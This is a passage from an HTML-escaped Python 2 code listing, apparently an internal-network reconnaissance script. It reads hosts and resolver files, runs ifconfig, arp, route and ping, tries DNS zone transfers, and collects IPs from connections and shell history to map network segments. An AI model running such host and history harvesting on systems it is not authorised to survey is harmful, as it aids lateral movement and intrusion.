<li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>print<\/span><span>&nbsp;<\/span><span>'oracle'<\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>print<\/span><span>&nbsp;<\/span><span>'search'<\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>pass<\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp; &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>def<\/span><span>&nbsp;NetworkInfoGet(<\/span><span>self<\/span><span>): &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>print<\/span><span>&nbsp;<\/span><span>'####################Get&nbsp;network&nbsp;information####################'<\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;_netfileListCat&nbsp;=&nbsp;[ &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>'cat&nbsp;\/etc\/hosts'<\/span><span>, &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>'cat&nbsp;\/etc\/resolv.conf'<\/span><span>, &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;] &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>print<\/span><span>&nbsp;<\/span><span>'######Get&nbsp;DNS&nbsp;server&nbsp;IP#####'<\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>self<\/span><span>.dns&nbsp;=&nbsp;<\/span><span>self<\/span><span>.re_ip.findall(os.popen(_netfileListCat[<\/span><span>1<\/span><span>]).read()) &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>for<\/span><span>&nbsp;dns&nbsp;<\/span><span>in<\/span><span>&nbsp;<\/span><span>self<\/span><span>.dns: &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>print<\/span><span>&nbsp;dns &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>print<\/span><span>&nbsp;<\/span><span>'#####Get&nbsp;\/etc\/hosts&nbsp;list#####'<\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;hosts&nbsp;=&nbsp;os.popen(_netfileListCat[<\/span><span>0<\/span><span>]).read().split(<\/span><span>'\\n'<\/span><span>) &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>for<\/span><span>&nbsp;host&nbsp;<\/span><span>in<\/span><span>&nbsp;hosts: &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>#print&nbsp;host <\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;_host=<\/span><span>self<\/span><span>.re_startwithIP.findall(host) &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>if<\/span><span>&nbsp;_host!=[]: &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>self<\/span><span>.etc_hosts&nbsp;+=&nbsp;_host &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>for<\/span><span>&nbsp;host&nbsp;<\/span><span>in<\/span><span>&nbsp;<\/span><span>self<\/span><span>.etc_hosts: &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>print<\/span><span>&nbsp;host &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;_netcmdList&nbsp;=&nbsp;[ &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>'ifconfig&nbsp;-a'<\/span><span>, &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>'arp&nbsp;-a'<\/span><span>, &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>'route&nbsp;-n'<\/span><span>, &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>'ping&nbsp;%s&nbsp;-c&nbsp;2'<\/span><span>&nbsp;%&nbsp;<\/span><span>self<\/span><span>.domain, &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>'ping&nbsp;114.114.114.114&nbsp;-c&nbsp;2'<\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;] &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>print<\/span><span>&nbsp;<\/span><span>'#####Get&nbsp;localhost&nbsp;ip&nbsp;and&nbsp;interface&nbsp;information#####'<\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>self<\/span><span>.ifconfig&nbsp;=&nbsp;os.popen(_netcmdList[<\/span><span>0<\/span><span>]).read() &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>print<\/span><span>&nbsp;<\/span><span>self<\/span><span>.ifconfig &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>print<\/span><span>&nbsp;<\/span><span>'#####Get&nbsp;arp&nbsp;list#####'<\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>self<\/span><span>.arp&nbsp;=&nbsp;os.popen(_netcmdList[<\/span><span>1<\/span><span>]).read() &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>print<\/span><span>&nbsp;<\/span><span>self<\/span><span>.arp &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>print<\/span><span>&nbsp;<\/span><span>'#####Get&nbsp;route&nbsp;information#####'<\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>self<\/span><span>.route&nbsp;=&nbsp;os.popen(_netcmdList[<\/span><span>2<\/span><span>]).read() &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>print<\/span><span>&nbsp;<\/span><span>self<\/span><span>.route &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>print<\/span><span>&nbsp;<\/span><span>'#####Get&nbsp;innerDNSresolve&nbsp;test#####'<\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>self<\/span><span>.inerwww&nbsp;=&nbsp;os.popen(_netcmdList[<\/span><span>3<\/span><span>]).read() &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>print<\/span><span>&nbsp;<\/span><span>self<\/span><span>.inerwww &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>print<\/span><span>&nbsp;<\/span><span>'#####Can&nbsp;search&nbsp;the&nbsp;Internet&nbsp;or&nbsp;not#####'<\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>self<\/span><span>.internetout&nbsp;=&nbsp;os.popen(_netcmdList[<\/span><span>4<\/span><span>]).read() &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>print<\/span><span>&nbsp;<\/span><span>self<\/span><span>.internetout &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>print<\/span><span>&nbsp;<\/span><span>'#####DNS&nbsp;test#####'<\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>if<\/span><span>&nbsp;<\/span><span>self<\/span><span>.dns&nbsp;==&nbsp;[]: &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>print<\/span><span>&nbsp;<\/span><span>'sorry,we&nbsp;&nbsp;have&nbsp;no&nbsp;the&nbsp;dns&nbsp;ip'<\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>else<\/span><span>: &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>for<\/span><span>&nbsp;dnsip&nbsp;<\/span><span>in<\/span><span>&nbsp;<\/span><span>self<\/span><span>.dns: &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>print<\/span><span>&nbsp;<\/span><span>'###dns&nbsp;%s&nbsp;results###'<\/span><span>&nbsp;%&nbsp;dnsip &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>try<\/span><span>: &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>self<\/span><span>.GetDomainList(dnsip,<\/span><span>self<\/span><span>.domain) &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>except<\/span><span>: &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>print<\/span><span>&nbsp;<\/span><span>'##dns&nbsp;test&nbsp;failed##'<\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>#\u83b7\u53d6DNS\u57df\u4f20\u9001\u4fe1\u606f <\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>print<\/span><span>&nbsp;<\/span><span>'#####Network&nbsp;exist#####'<\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>#\u5148\u6536\u96c6\u6240\u6709\u7ed3\u679c\u4e2d\u7684IP\u5730\u5740\uff0c\u53bb\u6389\u6392\u9664\u7684ip\u5730\u5740\u540e\uff0c\u628aip\u5730\u5740\u8f6c\u6362\u4e3a\u7f51\u6bb5\uff0c\u4e4b\u540e\u53bb\u91cd\uff0c\u6700\u540e\u4fdd\u5b58 <\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ip&nbsp;=&nbsp;[] &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;keyip&nbsp;=&nbsp;[] &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;keyipmaybe&nbsp;=[] &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;network&nbsp;=&nbsp;[] &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;keynetwork&nbsp;=&nbsp;[] &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;keynetworkmaybe&nbsp;=&nbsp;[] &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;_ex_ip&nbsp;=[ &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>'127.0.0.1'<\/span><span>, &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>'0.0.0.0'<\/span><span>, &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>'255.255.255.255'<\/span><span>, &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>'255.255.255.0'<\/span><span>, &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>'255.255.0.0'<\/span><span>, &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>'255.0.0.0'<\/span><span>, &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>'127.0.1.1'<\/span><span>, &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>'8.8.8.8'<\/span><span>, &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>'114.114.114.114'<\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;] &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;_iplistsearch&nbsp;=&nbsp;[ &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>self<\/span><span>.host_useronline, &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>self<\/span><span>.host_last, &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>self<\/span><span>.host_services, &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>self<\/span><span>.host_ESTABLISHEDlink, &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>self<\/span><span>.dns, &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>self<\/span><span>.etc_hosts, &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>self<\/span><span>.ifconfig, &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>self<\/span><span>.arp, &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>self<\/span><span>.route, &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>self<\/span><span>.inerwww &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;] &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;_iplistsearchmaybe&nbsp;=&nbsp;[ &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>self<\/span><span>.host_bash_history &nbsp;<\/span><\/li>\n  \n  \n  \n 